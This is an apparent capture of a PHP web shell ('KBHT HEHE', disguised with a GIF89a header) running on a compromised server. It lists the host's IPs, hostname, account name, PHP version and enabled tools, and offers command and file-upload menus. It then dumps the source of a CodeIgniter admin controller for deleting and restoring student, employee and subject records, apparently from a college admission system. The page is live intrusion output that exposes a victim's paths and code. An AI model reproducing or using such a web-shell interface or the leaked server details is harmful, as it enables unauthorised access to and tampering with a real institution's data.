GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.147.89.50
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/admin/RecycleBin.php
<?php

/**
 * Controller For Handling All Requests Related To Recyle Bin
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class RecycleBin extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/StudentManagement');
        $this->load->model('admin/DocumentManagement');
        $this->load->model('admin/DocumentInfoManagement');
        $this->load->model('admin/StaffManagement');
        $this->load->model('admin/SubjectManagement');
        $this->load->model('admin/IDProofManagement');
    }

    public function studentBin() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['deletedStudents'] = $this->StudentManagement->getAllDeletedStudentPersonalInfo()->result();
            $this->load->view('admin/recycleBin/studentBin', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function restoreStudent($tspi_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $studentPersonalnfoUpdateData = array(
                'tspi_id' => $tspi_id,
                'tspi_updated_on' => date("Y-m-d H:i:s"),
                'tspi_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'tspi_delete_status' => 'F'
            );
            if ($this->StudentManagement->updateStudentPersonalInfo($studentPersonalnfoUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Student Entry Restored Successfully.');
                redirect("admin/RecycleBin/studentBin");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Restoring Student Entry. Try Later.');
                redirect("admin/RecycleBin/studentBin");
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteStudentPermanently($tspi_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->db->trans_start();
            $this->StudentManagement->deleteStudentPersonalInfoEntry($tspi_id);
            $this->StudentManagement->deleteStudentContactInfoEntry($tspi_id);
            $this->StudentManagement->deleteStudentEntranceExamProfExpAndExtraCurricularInfoEntry($tspi_id);
            $this->StudentManagement->deleteStudentHostelAndResidenceChoiceInfoEntry($tspi_id);
            $this->StudentManagement->deleteStudentEducationalQualificationInfoEntry($tspi_id);
            $this->StudentManagement->deleteStudentFamilyBackgroundInfoEntry($tspi_id);
            /* Deleting Id Proof Infos */
            $aadharIdInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(2, "S")->result()[0];
            $PANInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(1, "S")->result()[0];
            $casteCertificateInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(5, "S")->result()[0];
            $incomeCertificateInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(6, "S")->result()[0];
            $this->StudentManagement->deleteStudentIDProofInfoEntry($aadharIdInfo->tipsm_id, $tspi_id);
            $this->StudentManagement->deleteStudentIDProofInfoEntry($PANInfo->tipsm_id, $tspi_id);
            $this->StudentManagement->deleteStudentIDProofInfoEntry($casteCertificateInfo->tipsm_id, $tspi_id);
            $this->StudentManagement->deleteStudentIDProofInfoEntry($incomeCertificateInfo->tipsm_id, $tspi_id);
            /* Deleting Id Proof Infos */
            $studentPhotographDocId = $this->DocumentManagement->getDocumentByFlag("SP")->result()[0]->doc_id;
            $studentSignDocId = $this->DocumentManagement->getDocumentByFlag("SS")->result()[0]->doc_id;
            $studentDocuments = $this->DocumentInfoManagement->getAllDocumentsOfStudentBy($tspi_id)->result();
            for ($i = 0; $i < sizeof($studentDocuments); $i++) {
                $thisDocument = $studentDocuments[$i];
                if ($thisDocument->tddi_doc_id == $studentPhotographDocId) {
                    if ($thisDocument->tddi_doc_file_path != "picnotavail.jpg") {
                        if (file_exists("./assets/admin/uploads/studentData/" . $thisDocument->tddi_doc_file_path)) {
                            unlink("./assets/admin/uploads/studentData/" . $thisDocument->tddi_doc_file_path);
                            $this->DocumentInfoManagement->deleteStudentDocumentInfoEntry($tspi_id);
                        }
                    }
                } else if ($thisDocument->tddi_doc_id == $studentSignDocId) {
                    if ($thisDocument->tddi_doc_file_path != "signnotavail.png") {
                        if (file_exists("./assets/admin/uploads/studentData/" . $thisDocument->tddi_doc_file_path)) {
                            unlink("./assets/admin/uploads/studentData/" . $thisDocument->tddi_doc_file_path);
                            $this->DocumentInfoManagement->deleteStudentDocumentInfoEntry($tspi_id);
                        }
                    }
                } else {
                    if ($thisDocument->tddi_doc_file_path != "na.png") {
                        if (file_exists("./assets/admin/uploads/studentData/" . $thisDocument->tddi_doc_file_path)) {
                            unlink("./assets/admin/uploads/studentData/" . $thisDocument->tddi_doc_file_path);
                            $this->DocumentInfoManagement->deleteStudentDocumentInfoEntry($tspi_id);
                        }
                    }
                }
            }
            $this->db->trans_complete();
            if ($this->db->trans_status() === FALSE) {
                $this->db->trans_rollback();
                $this->session->set_flashdata('errorMessage', 'An Error Occured While Deleting Student Entry Permenently. Try Later.');
                redirect(current_url());
            } else {
                $this->db->trans_commit();
                $this->session->set_flashdata('successMessage', 'Student Entry Permenently Deleted Successfully.');
                redirect("admin/RecycleBin/studentBin");
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Hanlders For Employees Bin */

    public function employeeBin() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['deletedEmployees'] = $this->StaffManagement->getAllDeletedEmployees()->result();
            $this->load->view('admin/recycleBin/employeeBin', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function restoreEmployee($tld_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $staffLoginDetailUpdateData = array(
                'tld_id' => $tld_id,
                'tld_updated_on' => date("Y-m-d H:i:s"),
                'tld_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'tld_delete_status' => 'F'
            );
            if ($this->StaffManagement->updateLoginDetailsInfo($staffLoginDetailUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Employee Recovered Successfully.');
                redirect("admin/RecycleBin/employeeBin");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Employee. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Hanlders For Employee */

    /* Request Hanlders For Subject's Bin */

    public function subjectBin() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['deletedSubjects'] = $this->SubjectManagement->getAllDeletedSubjects()->result();
            $this->load->view('admin/recycleBin/subjectBin', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function restoreSubject($sm_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $subjectUpdateData = array(
                'sm_id' => $sm_id,
                'sm_updated_on' => date("Y-m-d H:i:s"),
                'sm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'sm_delete_status' => 'F'
            );
            if ($this->SubjectManagement->updateSubjectInfo($subjectUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Subject Recovered Successfully.');
                redirect("admin/RecycleBin/subjectBin");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Subject. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Hanlders For Subject's Bin */
}

KBHT - 2023